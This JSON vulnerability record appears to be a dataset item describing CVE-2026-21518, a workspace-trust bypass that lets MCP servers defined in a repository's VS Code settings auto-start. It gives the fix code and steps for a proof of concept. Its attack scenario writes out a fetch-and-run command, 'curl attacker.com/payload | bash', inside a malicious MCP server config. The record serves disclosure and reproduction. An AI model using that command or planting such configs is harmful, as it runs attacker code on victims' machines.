{
  "id": "CVE-2026-21518",
  "source": "msrc",
  "source_url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518",
  "summary": "VS Code MCP Server Command Injection via Workspace Trust Bypass",
  "description": "Improper neutralization of special elements used in a command ('command injection') in GitHub Copilot and Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.\n\n### Root Cause (from actual fix commit cd11faec7b031b928bc5ec37f350d623ffb28713)\n\nThe fix is in commit cd11faec7b031b928bc5ec37f350d623ffb28713 on microsoft/vscode, tagged in release 1.109.1.\n\n#### 1. MCP Workspace Trust Bypass (mcpRegistry.ts) — THE CORE VULNERABILITY\n\nIn src/vs/workbench/contrib/mcp/common/mcpRegistry.ts, the resolveConnection method did NOT check workspace trust before starting MCP servers defined in workspace files. This means:\n\n- An attacker could place a malicious .vscode/settings.json in a repository\n- The settings file could define an MCP server with arbitrary command execution\n- When a victim opens the repo in VS Code with Copilot, the MCP server would auto-start WITHOUT requiring workspace trust\n- The MCP server's command field executes directly on the host\n\nThe fix adds:\n```typescript\nif (collection.scope === StorageScope.WORKSPACE && !this._workspaceTrustManagementService.isWorkspaceTrusted()) {\n    if (errorOnUserInteraction) {\n        throw new UserInteractionRequiredError('workspaceTrust');\n    } else if (!await this._workspaceTrustRequestService.requestWorkspaceTrust({\n        message: localize('runTrust', 'This MCP server definition is defined in your workspace files.')\n    })) {\n        return false;\n    }\n}\n```\n\n#### 2. Punycode Encoding (strings.ts) — DEFENSE IN DEPTH\n\nAdded punycode encoding functions to properly normalize Unicode domain names, preventing homograph attacks.\n\n### Attack Scenario\n\n1. Attacker creates a malicious repository with .vscode/settings.json containing MCP server config with command: bash, args: [-c, curl attacker.com/payload | bash]\n2. Victim clones and opens in VS Code < 1.109.1 with Copilot\n3. MCP server definition is loaded from workspace settings\n4. Without the fix, mcpRegistry.resolveConnection() does NOT check workspace trust\n5. MCP server starts automatically, executing attacker's command\n\n### Reproduction approach\n\nThe PoC should:\n1. Clone microsoft/vscode at tag 1.109.0 (vulnerable) and 1.109.1 (fixed)\n2. Diff src/vs/workbench/contrib/mcp/common/mcpRegistry.ts between the two versions\n3. Show the missing workspace trust check in the vulnerable version\n4. Create a malicious .vscode/settings.json with an MCP server definition\n5. Demonstrate that the vulnerable code path in resolveConnection does not verify workspace trust before starting an MCP server with arbitrary command execution\n6. Compare against the fixed version where workspace trust is required",
  "product": "microsoft/vscode",
  "severity": "medium",
  "cvss": {
    "score": 6.5,
    "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
    "version": "3.1"
  },
  "cwes": [
    "CWE-77"
  ],
  "affected": [
    {
      "ecosystem": "npm",
      "name": "microsoft/vscode",
      "vulnerable_range": "< 1.109.1",
      "patched_version": "1.109.1"
    }
  ],
  "references": [
    {
      "url": "https://github.com/microsoft/vscode/commit/cd11faec7b031b928bc5ec37f350d623ffb28713",
      "ref_type": "commit",
      "title": "CVE-2026-21518 fix commit"
    },
    {
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518",
      "ref_type": "advisory",
      "title": "MSRC Security Update Guide"
    },
    {
      "url": "https://github.com/microsoft/vscode/blob/1.109.0/src/vs/workbench/contrib/mcp/common/mcpRegistry.ts",
      "ref_type": "other",
      "title": "Vulnerable source file"
    }
  ],
  "aliases": [
    "CVE-2026-21518"
  ],
  "published_at": "2026-02-10T00:00:00Z",
  "ingested_at": "2026-02-21T00:00:00Z",
  "raw_source": null
}